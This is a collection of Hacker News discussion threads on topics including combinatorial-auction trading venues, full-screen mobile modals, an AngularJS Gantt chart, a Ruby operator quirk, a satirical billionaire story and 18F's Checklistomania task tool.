The Bloomberg article doesn't go into this, but the other half of the model involves inverting the traditional market event loop. As it stands, market participants receive market data and fills from geographically discrepant trading venues, action it via their models, and update their resting orders accordingly. We invert that model by putting points-of-presence equipped with highly precise network timestamping infrastructure at all of the major financial data centers. We use said infrastructure to timestamp snippets of code (our bidding language) that market participants send to us, as well as market data from other exchanges. At discrete, random intervals on the order of every ~100ms we resequence data in accordance with its origin timestamp (buffering by max time-of-flight) and feed it into our client's code for them to act upon and enter orders into our combinatorial auction. The net effect is an environment that's agnostic to geography, immune to latency arbitrage, and free of the traditional exchange race conditions. That's a huge win for everyone currently stuck in the prisoner's dilemma outcome that results from continuously reinvesting in what's now commoditized low latency trading technology.

Combinatorial auctions aren't a new concept, nor are Lamport clocks/distributed systems primitives based on timestamps, nor is the notion of using code as a proxy bidder (ad exchanges). Our art is around making combinatorial auctions practical for finance, both from an API standpoint, and from a computational tractability one. There's a huge impedance mismatch between what market participants want to do from an economic standpoint (trade on a portfolio level/express contingencies/force atomicity across actions) and what they can currently do with traditional limit order book/auction based venues (simulating the aforementioned by cancel/replacing as quickly as possible). Fixing this will be a big win, and broaden market participation.

<comment><USER3> What's with the "AI" positioning?

Seems like you just need really fast optimization to collapse the problem space. A robust, shallow, transparent approach seems both safer and easier to sell.

I've found that customers are suspicious about "AI" positioning by startups. Plus, any arguably "AI" approach would be a bad fit to the problem (opaque, slow, no discernable advantage), why take the risk of putting the "AI" label on the project?

<comment><USER4> The problem space of combinatorial auctions is exponential. There is no collapsing it (there are proofs of this, if I recall correctly), and there is no optimization fast enough to make it feasible when n gets to, say, 64.

Sound so like they're doing some sort of approximation (using "AI"), which is the best you can hope for.

<comment><USER2> From grandparent:

> What's with the "AI" positioning?

It's an implementation detail that's abstracted away from end users, but also one of the enablers/answers to the "why now" question on a business level. This article happened to focus heavily on that, probably because the other aspects (distributed systems and mechanism design) aren't broadly relatable.

> Seems like you just need really fast optimization...A robust, shallow, > transparent approach seems both safer and easier to sell.

With you on that. Academically/literature wise our approach is AI + ML given that it has priors, and doesn't rely on oblivious search techniques such as branch and bound or LP rounding for end-to-end solving. The article states that there's a "black box" involved, which is incorrect. When we talk to regulators and market participants we're very clear on how objective and deterministic the process is, and the bounds. We've structured the problem in a way that uses the economics of a double auction as the floor, meaning that any match we return is equivalent to or better than what would have resulted from matching against a conventional limit order book (CDA) or batch auction. That, combined with the timestamping aspect, results in something that's more fair, transparent, and auditable than the existing market structure.

From parent:

> There is no collapsing it

This is correct for truthful approximations and most formulations of combinatorial VCG. We don't fall into that camp, but we're still left with something that is worst-case exponential.

> ...sort of approximation

In many cases we can find the true optimal, and the cases where we can't become adversarial inputs for the AI and are still subject to the bounds described above. This has to do with the empirical runtime versus worst-case runtime of an algorithm, which is a fascinating field in its own right.

</comment></comment></comment></comment><comment><USER5> Don't really see how this could possibly comply with reg nms.

<comment><USER6> OneChronos cofounder here. The NMS order protection rule certainly doesn't make things easier, but periodic auctions have a unique compliance and fairness advantage there.

The question most continuous limit order books face is "What is NBBO right now?" That question can't be answered thanks to the speed of light being finite. But because of the way our auctions allow time for orders and market data to arrive at the matching engine, we can more thoughtfully construct a consistent view of "What was NBBO 1 millisecond ago, at the moment we struck our auction?" This is a much easier question to answer, and also has the effect of smoothing out network jitter, data gaps, etc.

Also, the auctions are combinatorial but are computed across linear components (stock symbols). NBBO applies to symbols individually, so it can be taken into account as a standard constraint on each symbol.

</comment></comment><comment><USER7> The thing about combinatorial auctions is that they are...

I last looked about 2006 and I remember one problem with 11 participants on both sides requiring 2^38 steps to find a solution (make the set of bundles for the buyers that clear the auction at the best available price) within a not very strong bound from optimal. The details are vague as having sat down and done the sums I thought - well that's just not a goer is it - and dropped the issue like a hot spikey thing.

So - many challenges.

<comment><USER8> > requiring 2^38 steps to find a solution

Isn't the premise of the company to use "AI" to find a solution? I'm going to go out on a limb and assume AI here means deep learning. I took both an AI and ML course during college where the FAQ was "what's the difference?". At least from the way the courses were presented, the AI class focused on traversing these exponential search spaces. ML on the other hand searched for local maxima / approximations. Obviously, you seem more familiar with combinatorial auctions. I'd love to understand where an ML approach fits in here.

<comment><USER7> The thing is that if your deepnet makes a mistake and classifies a penguin as a panda it's just one of those things. If it clears an auction outside of the guarantees that you have given then everyone sues you. The reasoners that people build for auctions and poker and so on are constructed to have well understood properties so that they can be used in applications like stocks and shares, organ transplants and other critical systems.

<comment><USER9> Based on the responses I'm seeing from user lpage elsewhere in the thread, it sounds like you can establish lower bounds external to the AI aspect of the settlement layer, making it "at least as good". So perhaps the optimization is, in some sense, all upside?</comment></comment></comment></comment>


Bubble Trouble in Silicon Valley: Why the Tech Elite Want their Own State - <AUTHOR> http://www.newgeography.com/content/004211-bubble-trouble-silicon-valley

<comment><USER2> I wonder if other (smaller?) countries trying to be more competitive will be able to outperform California over the long term. I.e. if a small country focuses on changing its laws to be the best in the world for startups, can that break through the incredibly strong network effect of Silicon Valley.

The amount of Bitcoin startups in Singapore makes me think this is likely.</comment>


Outside Lands Books Up Airbnb While Hotel Rooms Sit Empty - <AUTHOR> https://blog.beyondpricing.com/outsidelands-books-up-airbnb

<comment><USER2> Woah. It says I can make $340/night for my place in Cow Hollow that usually goes for $159!</comment>


Ask HN: How much copying another person's software idea is frowned upon? - <AUTHOR> I have recently discovered a really beautiful and brilliantly designed SaaS app that I am now using every day. I wanted to learn from it, and, as an exercise, to practice my frontend dev skills, I have essentially copied this app.
My design is a bit different, and I've improved a couple of things, but it's still essentially the same app(it's really hard to significantly improve upon, the original author has really done it right).
Now I realize, that if I will launch my version to the public, I could make a lot of money and achieve my dream of running a profitable SaaS. I'm highly confident that it will work, and there's plenty of space in the market for both of us. I'm also pretty sure that I won't run into copyright issues - my app is using a different tech stack and doesn't share any of the code with the original.
But I'm feeling a bit guilty for doing this, it feels like stealing. The original app is built by two very smart and good people, and is beloved by many users. Even though I will probably end up evolving this project in a different direction/niche, I'm still unsure if it's an okay thing to do.
How would you guys look at this? Do you think it's evil? Will it harm my reputation? Would you strongly dislike a person who's done something like this? <comment><USER2> I know this is software and software is unlike other stuff, but if we were talking about a sport shoe, car design or other 'thing', where a lot of time, effort and money had clearly been spent then I would consider it unethical to copy it too closely without being clearly innovative in some area.

It's not just an 'idea' that you are copying, it's the actual design and UX implementation.

Imagine you were talking about MS Word or Photoshop...

</comment><comment><USER3> > How would you guys look at this?

Neutral

> Do you think it's evil?

No.

> Will it harm my reputation?

Probably not.

> Would you strongly dislike a person who's done something like this?

No.

Ideas are cheap... execution counts. For any profitable business, there are always going to be people who come along and deploy the "fast follower" strategy or otherwise copy the core idea. Do you hate Walmart for copying the idea of Sears or Kmart? Do you hate Linus for copying the idea of Unix? Do you hate Apple for copying the idea of a GUI for PARC? Do you hate Microsoft for then copying the same idea from Apple?

As long as you're sure that you are on solid legal footing as far as not literally copying anything that is copyrighted by the other company (including things like images and CSS styling, etc.) then I don't see a problem with it. Especially if you do have ideas of you own that you plan to incorporate, that deviate from the existing site.

<comment><AUTHOR> Thank you for your reply! This is good.</comment></comment>


Fullscreen mobile modal: how hard can it be? - <AUTHOR> https://github.com/stereobooster/react-modal-experiment <comment><USER2> I wish this full-screen modal feature would disappear. I've lost track on the number of times I pressed back to close a modal on mobile because I thought it was a new page.

Please make it clear that a dialog is a dialog.

<comment><USER3> This is interesting, in a native app the modal would close but unintuitively most sites don't push modals to history.

<comment><USER4> In a native app, such modal would be pushed on the activity stack (on Android; I assume iOS has a similar pattern). It would essentially be a native equivalent of a new page. Modern web developers are, for some reason, more afraid of having multiple pages than they are of black death.

<comment><USER5> iOS does not push modals onto the navigation stack by default.

<comment> half-kh-hacker To be fair, iOS doesn't have a universal 'back' button, so you wouldn't reach for it to exit a modal anyway.

<comment><USER5> Sure, but the general guideline for modals is to have a "Cancel" or "Done" bar button item somewhere to exit. This is a different action than popping a view controller off the navigation stack.

</comment></comment></comment></comment></comment></comment><comment><USER6> "Full screen modal dialog" is just another way of saying "a page" right? So some HTML and you are done?

I am not sure but from the name of the repo I am _guessing_ this is referring to React JavaScript framework which I _think_ is purely "single page application" deal which would explain the limitation of not being able to load a separate page.

Shame we are reimplementing the wheel for such trivial and basic use-cases. Oh well.

<comment><USER7> Not exactly "a page", as with a modal you are not messing with the browser history and you expect to keep the exact state of the page underneath the modal

<comment><USER8> I'm in two minds here - a set of tools/patterns exist for a reason so this is a useful write-up for the difficulties involved with doing modals. On the other hand, it is always a warning indicator when the browser/hardware is fighting against me.

In this particular case I feel "modal" is an implementation detail - as long as you don't break the UX contracts (i.e. browser history is left unchanged and page state under modal is remembered) does it matter how you achieve the modal-like behaviour?

In this particular case, it could be easier to render the modal using some HTML and/or CSS and hold onto whatever state was underneath - if you're using React, there's no reason to not transition to a different page and either pass the state to the next component OR use something like Redux so you can recall application state.

<comment><USER4> > _as long as you don 't break the UX contracts (i.e. browser history is left > unchanged and page state under modal is remembered) does it matter how you > achieve the modal-like behaviour?_

I feel like the hazard here is that many developers don't know, care about, or care about knowing, the full extent of the UX contract, and as a result implement something that's only halfway there.

My go-to example of this is one of the Java UI toolkit of old, which reimplemented all controls but tried to make them look as if they were native. The end result was a set of controls that kind-of looked like native ones, except they didn't support appropriate context menus and less-known keyboard shortcuts.

</comment></comment></comment></comment><comment><USER9> In the previous century when web technologies were more primitive, modal dialogs were created in new browser windows. We all remember pop-ups and what a horrid experience that was. Developers (and spammers) abused this behavior so much that browsers now reflexively prevent pages from opening new windows in most cases.

I leave almost any site that interrupts me with a full screen modal dialog, especially if it's a prompt to subscribe to a newsletter. This abuse has become the norm. I have even seen desktop software adopting this behavior. A _licensed_ copy of Guitar Pro 6 will interrupt you with a fullscreen ad for Guitar Pro 7. Unforgivable. Respect what the user is there for, and you might _earn_ their business.

Edit: I recognize that there are some positive, responsible uses for this technique (extending forms/controls; search suggestions, assist the user rather than interrupt) and good examples are shown here. Please excuse the Sunday rant.

<comment><USER10> Sites do this because 90% of users don't leave over modal popups and doing it increases engagement in enough cases to warrant keeping it.

It's completely reasonable for a product to advertise for a newer version. How else would you know there's a new version that you might actually decide you want to buy? And you don't have to buy it.

<comment><USER9> > It's completely reasonable for a product to advertise for a newer version.

No argument from me there. A notice on the splash screen, even a tool tip at start-up would work fine, but it was a full screen advertisement, several minutes after start-up, which stopped playback (!) without warning. These interruptions are what I find completely unacceptable, and I believe they stem from fundamentally misunderstanding what the user is there for, or outright disrespect.

<comment><USER4> Notice on the splash screen, a tool tip at start up, a popup at startup (anyone remembers "Tip of the day" dialogs?), a modeline/status bar (like e.g. IntelliJ IDEA does), ... there are plenty of well-established UI patterns for placing such information unobtrusively. As you said, firing up a modal in the middle of your work is unacceptable, and outright disrespectful.

</comment></comment></comment></comment><comment><USER11> Even if you get full screen modals working well on mobile, they are a bad UX if only because of the trauma inflicted by all the broken attempts out there.

</comment><comment><USER12> Interesting that it's so hard. But also this shows that you really really shouldn't do this - you need 4 horrible hacks to get it to work on one browser. What are the chances that it will work reliably on other browsers, or even the same browser but different versions or configurations? Pretty miniscule I'd say.

Just use a separate page.

</comment><comment><USER13> I think there is a reason this is hard. This is a security issue. You are masking the URL of the site, Imagine using an iframe inside the modal.

This code is exactly what you would need to spoof users if you got JS execution on a host that isn't yours.

</comment><comment><USER14> My feeling is that it's only hard because the author tried to create a solution that fits his needs by piling more and more external code on top of each other.

I would expect that when you tinker a bit with plain CSS, you will find a simple solution.

</comment><comment><USER15> What about just removing what you can't see from the DOM entirely, and load it in again when the dialog closes? Wouldn't be too hard with React or Vue. Just make it so either the page content or the modal is loaded.

<comment><USER16> You can do that, but the visitor's scroll position would be reset, when the modal is closed.

<comment><USER15> Could save it and restore it, though that may create some other issues.

</comment></comment></comment><comment><USER17> Oh come on. This task isn't hard of itself, the author just seems to lack experience with the web platform. A responsive modal that goes full-screen on mobile isn't really complex. Just set vertical overflow on the main content element to hidden and auto on the modal container, so the user can only scroll that when its open. Then, focus the first input in the modal if any, or listen to keyup if you really messed with the tabindex. I've implemented this in a few projects, two of them with Vue. That sort of stuff isn't magic, just frontend work.

<comment><USER18> Any chance you can share a link to a pen?

</comment></comment><comment><USER19> I miss the days when a form was just a form, and as a user I could decide its font size, I could zoom in on it, and I could scroll it as I wished.

<comment><USER20> _I miss the days when a form was just a form, and as a user I could decide its font size, I could zoom in on it, and I could scroll it as I wished._

I am blessed to work for a company where web standards, accessibility, and page load speed are considered more important than the whims of my millennial boss, or the marketing department.

That's not to say I don't have my share of "I want this to look like a web site that I would want to visit" and "Can you do this cool thing like TMZ?" moments. I remind them that we don't make web sites for them or me, but for our visitors.

If that doesn't work, I pull out the memos showing that the legal department is on my side, and somehow groks the whole web bloat problem.

Can't wait to finally deploy the new site and replace the old JS/SPA + library + framework + polyfill + jquery + ... + ... + ... site the last guy built.

<comment><USER18> Good website are harder, but it's people (with a lack of empathy for the actual users / visitors) that make it even harder; sometimes even impossible (i.e., project fails).

</comment></comment></comment><comment><USER21> Not hard enough, apparently.

</comment><comment><USER22> What use case would this ever have?

<comment><USER23> It's basically a way to have stack navigation on the web, so you can keep the context behind the content it spawned. This is used all the time in native apps, so why not on web?

It seems so basic but it's not straight forward at all to implement in a consistent way across browsers. After trying for a while myself, and not wanting to sink days into it, I've given up on finding the perfect solution for now. Going to try the 4th step here, but I believe there's always a new modal bug waiting to be discovered.

<comment><USER22> I guess I just don't understand the full screen part. I get why modules can be good but even in a native app you have some reference that you're still on the same screen. Maybe I'm missing something still...

</comment></comment></comment><comment><USER24> this feels really weird on desktop

</comment><comment><USER25> tabindex?</comment>


Show HN: Gantt chart component for AngularJS - <AUTHOR> https://www.angular-gantt.com/demo

<comment><USER2> One of the main contributors here. Angular-Gantt is an open source gantt chart component, based on AngularJS. With it, you can implement all sorts of resource management, planning or scheduling apps. What started as a pet project over a year ago has evolved into a powerful component. Most features are implemented on top of a plugin system, making it easy to customize or extend functionality.

We still have a lot of ideas and improvements to implement, and therefore are actively looking for contributors. If you want to help with code, testing or ideas and suggestions, then please visit our Github page or post a comment :)

<comment><USER3> This is awesome! I think we might have need of this in our project (hookupJS, open source in progress, on Github) to show the content schedule for a brand in the upcoming week / month.

I already passed it to my CTO so we can figure out when and how to integrate it. Very cool stuff and thanks for sharing & building this. +10 internets to you.

</comment></comment><comment><USER4> We have been tossing the idea of doing this around the office for a few months. Awesome, thanks fellas. I'm kinda new to Javascript: where is the data (meaning the data within the gantt chart) stored? I'm guessing it's in one of the JSON files in your repository?

<comment><USER2> For the demo the data is in the following file: [https://github.com/angular- gantt/angular-gantt/blob/master/d...](https://github.com/angular- gantt/angular-gantt/blob/master/demo/app/scripts/services/sample.js)

In a real app the data would probably be loaded from a API and then passed to the gantt.

</comment></comment><comment><USER5> This looks great. Gonna show it to our PMs tomorrow. One suggestion, have an option to remove non-working days (Saturday, Sunday).

<comment><USER2> Thx!.

Non working-days can be removed by setting the non-working hours to "cropped" in the demo.

It is possible to define non-working days by defining time frames. This allows to have things like public holidays, weekends or time slots e.g. 8am-5pm. See: [https://www.angular- gantt.com/configuration/attributes/#time...](https://www.angular- gantt.com/configuration/attributes/#time-frames-date-frames)

</comment></comment><comment><USER6> Amazing work, congrats!!</comment>


Show HN – BugClipper – Easy Bug reporting for mobile apps. - <AUTHOR> http://blog.bugclipper.com/post/87620028767/deliver-bug-free-apps-with-all-new-bugclipper http://bugclipper.com - makes bug reporting easy by letting you grab screenshots and record screen activity. <comment><USER2> Looks quiet interesting, particularly the screen recording bit. Just 1 Question though, will screen recording be an issue in the app store for approval ?

<comment><AUTHOR> Glad you liked it. Don't worry about the app store approval. BugClipper is built in adherence to Apple's guidelines and we have apps already in appstore.

</comment></comment><comment><USER3> Is bugclipper only for mobile devices, or can it be used for websites as well.

<comment><AUTHOR> Hey @yarvindeashwar! Sorry to say its only for mobile apps. BugClipper is currently available for iOS apps only. We are working on Android version and will be out in private beta soo. You can checkout the details at [http://bugclipper.com](http://bugclipper.com)

</comment></comment><comment><USER4> Nice concept. But could not find this for Android. When can it be available?

<comment><AUTHOR> Thanks Rahul. Yes, right now its only available for iOS, Android should be out soon. Let me know if you would be interested to participate in the private beta. I will send you the invite for Android.

</comment></comment><comment><USER5> This is pretty similar to what Instabug does isn't it?

<comment><AUTHOR> Abhishek, yup instabug is similar with screenshot reporting part and is helpful with end user feedback. BugClipper lets developers get feedback from clients and testers. Lets you record screen activity, collect voice feedback and makes show and tell very easy. With BugClipper you can report bugs using videos and developers can see how users are using the app in real.</comment></comment>


How we built Facebook Connect (video) - <AUTHOR> http://www.facebook.com/video/video.php?v=562087699610

<comment><USER2> When did FB start requiring flash 10 for video? Yesterday?

</comment><comment><USER3> Just me or are the slides one slide ahead of most of his talk?</comment>


Ruby: Is &! documented anywhere? - <AUTHOR>

A while back, due to a typo, I realized you could use &! in ruby statements:

  if this? &! that?
 was the same as

  if this? && !that?
 I've scoured all of the ruby operator docs I can find with no mention of it anywhere.
Interestingly, this works:

  if this? & ! that?
 but this does not:

  if this? & & that?

 If I ack the ruby source, I don't see &!, but I do see a ton of &&!
Wat? Now I'm curious. Anyone know the innards of ruby enough to enlighten me? <comment><USER2> It doesn't really work quite as you suggest; it's just that

        a &! b == a & !b

where !b is true if b is nil or false, and false otherwise.

& works as a bitwise AND for numbers, and a logical AND for boolean values. You can't mix the two, but as long as a is a boolean, you'll get some kind of result out of the calculation:

        true &! true  # => false
        true &! false # => true
        true &! 0     # => false
        0    &! 0     # => TypeError: can't convert false into Integer

</comment><comment><USER3> Only when working with explicit Booleans, yes. Otherwise no:

        [21] pry(main)> foo = 1
        => 1
        [22] pry(main)> bar = false
        => false
        [23] pry(main)> foo && !bar
        => true
        [24] pry(main)> foo &! bar
        TypeError: can't convert true into Integer
        from (pry):24:in `&'

In this case, the behavior is inappropriate in that Ruby evaluates only false and nil for False, and everything else as True.

I'm going to assume this is some quirk or "feature" as part of the bitwise operator '&'.</comment>


HTTP2 explained -- Background, the protocol, the implementations and the future - <AUTHOR> https://daniel.haxx.se/http2/ <comment><AUTHOR> Link to the PDF: [https://www.gitbook.com/download/pdf/book/bagder/http2-expla...](https://www.gitbook.com/download/pdf/book/bagder/http2-explained?lang=en)</comment>


Billionaire develops mass water-heating system to warm the ocean in his backyard - <AUTHOR> http://danspapers.com/2013/11/derwood-hodgegrass-heats-ocean-at-his-southampton-estate/

<comment><USER2> You can see it is a joke by inspection if the claim is 100 sq yards of ocean raised from 47 degrees to 82 degrees. That is a change of 19.4 degrees C for an area of 83 sq meters. Assuming an average depth of 1m or 83 cubic meters or 83,000,000 cc and that is 4.18 * 19.2 * 83000000 joules. Or 6.7 gigajoules over 7200 seconds (2 hrs) is just about a megawatt of power.

It would work if that device on the beach was a compact nuclear explosive :-)

</comment><comment><USER3> I'm actually a little bit confused by this - is this serious? It all seemed normal (well, normal being relative) until the last bit about ex-drug smugglers and cash-lined suits.

Maybe I'm just not rich enough to fall into this kind of R&D mindset where these things even warrant consideration by sane humans.

<comment><USER4> It is clearly false. Derwood Hodgegrass is unbelievable for a name even before websearching it.

<comment><USER5> Yes. No one uses the word "egress" unless they're installing basement windows, and I would hope that when I crack the billion mark I don't need two assistants to towel me off when I'm done swimming.

</comment></comment></comment><comment><USER6> Billionaire who chooses to stay in the hamptons in the winter and doesn't have an indoor swimming pool. Hahaha

</comment><comment><USER7> That made me think of Nauthólsvík in Reykjavík: [http://visitreykjavik.is/nautholsvik-geothermal- beach](http://visitreykjavik.is/nautholsvik-geothermal-beach)

</comment><comment><USER8> Not sure if this is real but I don't think its good for the ocean.

I don't think something the size of an ATM can heat 100 square yards of ocean.

</comment><comment><USER9> Can't tell if fiction.

</comment><comment><USER10> This is one of the most disturbing things I've read today.

</comment><comment><USER11> Satire

<comment><USER12> If in doubt: [https://encrypted.google.com/search?hl=en&q=%22derwood%20hod...](https://encrypted.google.com/search?hl=en&q=%22derwood%20hodgegrass%22)

</comment></comment><comment><USER13> its a joke, folks.</comment>


Looking for a cofounder for MobMov. Featured in NY Times, NBC, more... - <AUTHOR>

Project: mobmov.org
Disruptive film distribution: challenging traditional cinema-based licensing and distribution with a widespread community-powered network of car-powered drive-ins.
I don't know if this is really the crowd for it, but my mobmov project is showing some serious potential to finally take off. But I don't have the time or resources to drive it. I'm looking for a true founder-type to join me.
I've been running it for over 5 years. Without any PR at all, it's been written up in Time, AP News wire, BBC, New York Times .com front page (last week), BBC radio, NBC tv and tons of other places. We have over 12K in the mailing list now, and our SF/LA shows draw 150+ people. I've been approached by several agencies looking to sponsor, but nothing major has panned out yet (mostly my fault for not following up).
How is it a business? Well, for starters, we have a nationwide network of both chapter drivers doing shows and members interested in watching movies. We're one step and a few phone calls away from doing trailer deals, sponsorships ("lit by InFocus"), charging admission or membership; heck, disruptive film licensing and distribution are a possibility.
I'm posting this because, frankly, while I enjoy running the shows, I have no time at all to 1) work on the site, the code is a good two years old; so much can be done with it, geolocation, sms, etc 2) make the calls and connections needed to make it a "real" business.
If this idea excites you, and you see the potential, and you're a talented entrepreneur,  email me: email@example.com
I'd be interested in seeding it with some capital as well. <comment><USER2> Congrats on the growth - that's great stuff!

 _We're one step and a few phone calls away from doing trailer deals, sponsorships ("lit by InFocus"), charging admission or membership_

How does that not violate the whole "public display" clause of the fbi warning?

<comment><USER3> This webpage may be helpful in answering that questions:

Q&A: Public Displays of Movies and Video <https://www.stanford.edu/group/ic/cgi-bin/drupal2/node/418>

Question: When do I need a license to show a movie or video at a public event? Answer:

Stanford students and faculty often inquire about public display of video materials. This page is intended to clarify the law on public performance and display.

Generally speaking, video tapes and DVDs that are available for purchase, rented from commercial establishments (eg Blockbuster), or checked out of the library are for home viewing purposes, unless you have a license to use them elsewhere. That means no license is required to view a videotape in your dorm room, or with family or friends. However, any public display, on campus and elsewhere, requires a license, unless the display qualifies for the face-to- face teaching exemption, as discussed below. There is a common misconception that you only need a license if you plan to charge a fee to view the movie. Even where do you not plan to charge a fee, you still must secure a license unless the narrow face-to-face teaching exemption applies.</comment></comment>


Checklistomania makes it easy to keep track of relative tasks - <AUTHOR> https://18f.gsa.gov/2016/04/21/checklistomania-makes-it-easy-to-keep-track-of-relative-tasks/ <comment><USER2> It isn't clear from the description, but does this allow you to have tasks become 'triggered' for lack of a better term once a task has been completed? eg I want my task list in the morning to say make eggs and bacon, then once I've done that a new task pops up for me to do the dishes.

<comment><USER3> MyLifeOrganized has that (look at 'Dependencies' \- [http://www.mylifeorganized.net/#comparison- table](http://www.mylifeorganized.net/#comparison-table)) but I think it's probably too robust (and expensive) for the average person.

<comment><USER4> I use MLO to keep track of my professional work. I agree it can be overkill, but it's perfect for managing tasks that depend on other tasks.

Some additional features I find useful are:

\- the ability to add multiple tasks (line separated)

\- you can automatically generate a list of tasks ordered by urgency and priority (can be customized)

\- you can easily nest tasks into folders

\- you can easily edit many tasks at once (priority, dates etc.)

\- folders flagged as "projects" display a progress bar overlay

\- you don't need to go through any menus to add/view task-related notes; notes appear in the sidebar depending on what's selected

\- great for multi-tasking because it dynamically combines all your task lists into one

</comment></comment></comment><comment><USER5> In case you want to quickly try out your own version. I created a fork that uses Auth0 for authentication so you can use any identity provider plus it has a deploy to heroku button. You can try it out here:

[https://github.com/auth0-samples/checklistomania](https://github.com/auth0-samples/checklistomania)

</comment><comment><USER6> "When a new hire joins the federal government, existing employees complete over 60 tasks to bring them on board."

"This is particularly useful in government, because we need to complete quite a few training sessions and pieces of paperwork."

I can see the value in building a tool to track all of the moving pieces in what appears to be a bureaucratic, inefficient system ... but I would love to see more work put into resolving those inefficiencies.

Can any of those tasks be automated?

Is there any way to reduce the amount of paperwork required?

Can the training sessions be replaced with online tutorials?

Etc.

<comment><USER7> We're automating what we can - i.e. accounts and stuff.

But a lot of the tasks are training related i.e. "You have to learn about this or that."

You can see the work we've put into onboarding here: [https://18f.gsa.gov/2015/12/01/how-we-dramatically- improved-...](https://18f.gsa.gov/2015/12/01/how-we-dramatically- improved-18fs-onboarding-process-in-3-months/)

The biggest efficiency, I think, is creating a Slackbot that trickles out a lot of this information to new hires: [https://18f.gsa.gov/2015/12/15/how-bot- named-dolores-landing...](https://18f.gsa.gov/2015/12/15/how-bot-named- dolores-landingham-transformed-18fs-onboarding/)

We've also rolled out a handbook and classes — the checklist is basically to make sure people have seen what they need to and so they're not overwhelmed the first day. (Something like learning how to travel is something you need to learn, but maybe not until week two...)

<comment><USER8> You're doing government contracting but allowed to use Slack...?

<comment><USER9> We're federal government employees (and are allowed to use Slack).

<comment><USER8> You don't have data confidentiality issues? Perhaps working for the Federal government directly is quite different than the DoD.

<comment><USER7> You can see our negotiated ToS here: [https://slack.com/terms-of- service/government](https://slack.com/terms-of-service/government)

</comment></comment></comment></comment></comment></comment><comment><USER10> This could be applicable for user-side documentation of any form of bureaucracy as either an employee or a customer (most enterprise fiefdoms basically have to consider other employees their customers) because it tends to follow a really long Gantt chart combined with a digraph (potentially cyclical, unfortunately I found). It also happens to address the usual problems I have with most to-do systems where I can have so many unforeseen problems that it is pretty much impossible to set and achieve goals within a certain allotted timeframe (the GTD system, for example, makes zero promises that you'll be able to achieve any of your set goals even if you follow it perfectly and to your best abilities, after all). It reminds me all too much of writing a nasty mess of nested asynchronous calls where the instant anything went wrong you'd probably wind up at square one.

It's unfortunate how this kind of to-do list is something I've almost never seen considered in an enterprise workflow for UX design because it shows a great deal of integration points that are weak and could use improvement, potentially with minimal resourcing. In my limited practice, I've only ever seen the Fortune 500 basically write pie-in-the-sky Visual Studio sticks and boxes or the equivalent of a nasty nested asynchronous call stack.

</comment><comment><USER11> After running a local version, I thought I would add some notes about my experience:

\- This seemed really cool since we have various processes and this would let us both document and operationalize the processes. Things like: add/change user permissions or create a new vm/container, etc. We could make it easy to show where documentation is and what should be updated.

\- Installation is simple, but it is hardcoded to authenticate against Github and look and see if you are a member of the 18F group. If not, you are refused access. Changing the group is just a simple edit to the app.js file, but changing authentication from Github to another source would require adding another passport config file into api/ (as far as I can tell), and possibly additional dev.

\- The checklists are all json files, there's no UI for creating the checklist. In fact, there's no CRUD for checklists at all, they are flatfile managed with a text editor. This is not ideal, but building an editor might not be too rough. The main thing is that checklist creation is a developer operation.

\- There is no UI for associating checklists with role/users or grouping the checklists. Everyone sees all of the checklists and then self-selects which checklist they want to add to their plate. It looks like the tasks are all user-specific, so you couldn't have a checklist that was divided up amongst a team, it is all single-user focused. I suppose you could create a dummy team user that multiple people had access to, but that seems icky. Similarly, while you can see other user's tasks, you can't take one of their tasks and help them out by doing it.

\- There's no context for the tasks. If you had two new employees or two VMs to provision, you would have to do them one at a time. Adding a second checklist while you have a first in progress just gives you a pile of duplicated tasks that have no context as to which initial action they are related to. You can add a note to the initial checklist assignment like "SE3: Jane Doe" which will give some context for that assignment, but I don't see where that is related to the tasks. If the tasklist showed "Checklist Name - Checklist Note" in the table, then at least you could keep them separate.

Otherwise, I would _love_ for this to work. I am in academia where we have two problems that this impacts: 1) we have lots of bureaucracy 2) we have lots of turnover in IT staff because we pay poorly. For both of these reasons, having a checklist tool would be fantastic.

Devs: please comment!

<comment><USER7> This is a great list. (I work at 18F.) Everything we do is available for anyone to fork, adapt, copy, use, etc. Someone could fork our code as a starting point and add the features you mention. I really like the idea of adding context for the tasks.

As the person who converted the tasks to JSON, I can say IT TOOK A LONG TIME. If there was a front end or an easier way to do this, it would be much easier to use. An editor would be my #1 feature request.

\- We wanted everyone to see every checklist, but the idea of having checklists shared by a team would be REALLY USEFUL for us too. Think about a team who shares onboarding tasks for a user. I would love to add that functionality.

\- If you feel comfortable, you could create these as issues in the repo so that we could share them and see if folks want to tackle them. We saw this as a first step to meet a need, and would love to see it improve.

\- Mel

</comment></comment><comment><USER12> My tax dollars paid for 94% test coverage??

<comment><USER13> Are you saying that's too high or too low?

<comment><USER12> High, by my standards. But was tongue-in-cheek regardless.

</comment></comment></comment><comment><USER14> FWIW, a related product, more general but less mature (I'm the author): [http://onemodel.org/](http://onemodel.org/) (AGPL). Highly efficient at managing lists but doesn't yet share data between accounts except by exporting the data as txt or html. I use it heavily, daily, to manage checklists/tasks and notes on many subjects.

I see it as the beginning of a platform to change how individuals (or mankind) manage knowledge overall. Future features involve exploiting the internals for collaboration (linking instances, sharing data, subscribing to each others' data, mobile, etc)

Feedback or participation are appreciated. If one has any interest at all, I suggest signing up for the (~monthly?) announcements list at least.

</comment><comment><USER15> Is this easy to deploy in your own shared server such as GoDaddy and HostGator?

<comment><USER16> It's mongodb and nodejs, so yes.

</comment></comment><comment><USER8> A few years ago I worked in a research lab for the DoD. They definitely aren't joking about the amount of onboarding tasks, training, verifications, etc. It took most of my time over the first two weeks. Some of the offices are only open for very limited hours and only on certain days and so they're always backed up. This will be very useful. Even just having access to modern web apps is a welcome change.

</comment><comment><USER17> This is fantastic, thanks for sharing! This gives me so many ideas I'd like to fork and try out. Does this support recurring tasks?

<comment><USER18> Not right now. Pull requests are welcome!

</comment></comment><comment><USER19> Don't forget about TopChart.io (YC) and Trello, two other very easy ways to make checklists.

<comment><USER8> Trello doesn't have checklist dependencies.

</comment></comment><comment><USER20> How is this different from Asana or Wrike or the glut of tasks-as-a-service products?

<comment><USER8> The reason the government builds their own version of many popular consumer products is to run on-premises behind complex firewall configuration. Because they either don't or _can 't_ trust a third party with the data.

</comment></comment><comment><USER21> I hope something like that can be used in medical applications.

</comment><comment><USER22> "When a new hire joins the federal government, existing employees complete over 60 tasks to bring them on board"

They sound down right proud of their bureaucracy.

<comment><USER23> I would argue they sound self aware and that's better than many orgs, large and small. Many companies have no idea what the number of tasks are required to bring a person onboard and would underestimate the tasks required by 50% or more.

<comment><USER7> We actually have all of our checklists online: [https://github.com/18F/onboarding- documents/blob/master/Chec...](https://github.com/18F/onboarding- documents/blob/master/Checklists/new-hire-checklist.md)

